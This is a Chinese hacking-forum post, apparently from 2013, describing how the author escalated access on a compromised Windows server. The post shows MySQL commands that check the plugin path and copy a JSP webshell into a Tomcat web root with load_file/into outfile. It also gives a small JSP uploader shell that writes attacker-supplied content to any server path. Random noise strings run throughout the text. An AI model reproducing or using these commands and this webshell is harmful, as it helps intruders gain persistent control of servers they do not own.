找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2509|回复: 0
打印 上一主题 下一主题

解决Win下MySQL root导出Webshell换行符问题

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-8 21:52:57 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
今天碰到了这么个问题,简单记录一下我的解决方案。
1 L- c5 @) x- \: Z* G% l2 W
% l+ h9 v( ~& _6 C首先说一下服务器的环境。服务器的80端口按照标准的虚拟主机来配置的,支持asp,aspx,php,但是不支持php* {" R# I; j! d$ S5 @
安装了mssql(1433端口),tomcat(8080端口),serv-u(43958端口)和两个mysql(3306端口和3307端口)& l! l/ l  @- n5 O" {2 h& [
提权的时候没有sa密码,没有serv-u密码,mysql 5.1首先运行了
7 [% R8 I* O$ ^/ j2 _) e/ w! `2 U1 show variables like '%plugin%';% r  v& g2 M0 r8 v
后,根据设置导出dll到C:\Program Files\MySQL\MySQL Server 5.1\lib\成功% E; v0 g! d4 Y* r( p/ L$ X
创建自定义函数似乎被拦截,一直失败。4 U2 t) A0 J. @
后找到tomcat目录,准备写马,asp,aspx,php对tomcat目录:C:/Program Files/cngradms_x86/tomcat/webapps/ROOT/均无写入权限
1 e5 v, D0 b; C7 t: j+ c$ a测试mysql有写入权限。故上传jsp大马至网站web目录:d:\xxx\fuck.jsp6 J$ f# F& {0 N
用mysql执行语句:
: }5 U! Z5 h4 y' N2 O1 select load_file('d:\\xxx\\fuck.jsp')  into outfile 'C:\\Program Files\\cngradms_x86\\tomcat\\webapps\\ROOT\\upload\\fuck.jsp'8 h5 j- M* p! p: g
2 复制代码
0 T0 Q$ W/ S3 J1 o8 q* S  K6 I后成功。
$ o/ |$ Y. l7 ?: k' _但是访问后得到如下提示:
% r- r  W2 E5 Z7 W" R0 c​500页面
" T  d+ H0 M+ E( @$ O
* v2 p- W1 I4 z. f3 k4 }3 V( N
( {1 r8 v& k8 ?. i8 E. c  U4 ]明显是MySQL的Win下版本自动添加转义符\n\r了/ b) U8 f' e+ {4 i8 o6 z( L
这样导致程序运行的悲剧。+ S! U" A7 ?4 H  H
从网上找了很多方法,什么update把转义符消掉,enclose巴拉巴拉,反正五花八门就是没一个可以用的。
" S/ l3 M# a, v  v* L% G- x最后弄了这么个小脚本:
2 v6 K( Z& d$ o/ u1 X" p$ ]01 <%@ page language="java" pageEncoding="gbk"%>
! V( Q5 `' p: s( U" h7 M02 <jsp:directive.page import="java.io.File"/>5 y, k' q0 B+ K5 k) `
03 <jsp:directive.page import="java.io.OutputStream"/>4 ~+ v4 h8 X# w+ y: R
04 <jsp:directive.page import="java.io.FileOutputStream"/>7 R0 q0 [/ i7 \; b% o6 S; |
05 <% int i=0;String method=request.getParameter("act");if(method!=null&&method.equals("yoco")){String url=request.getParameter("url");String text=request.getParameter("smart");File f=new File(url);if(f.exists()){f.delete();}try{OutputStream o=new FileOutputStream(f);o.write(text.getBytes());o.close();}catch(Exception e){i++;%>
: s% ], s8 l% d  _06 error www.2cto.com
& R1 \" Z7 S; m* B* C) i( N( I- q4 d07 <%}}if(i==0){%>- N5 b, o+ F( W/ |5 W5 T5 p
08 ok
% W: S  v+ Y2 X09 <%}%>. s: S9 _+ q& W( H% y( k% ~
10 <form action='?act=yoco' method='post'><input size="100" value="<%=application.getRealPath("/") %>" name="url"><br><textarea rows="20" cols="80" name="smart">& D& J3 V% o6 C
就可以避免转义符让JSP的马儿运行500错误了。+ T2 ]) Z3 Y2 \- N; {3 A" `
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表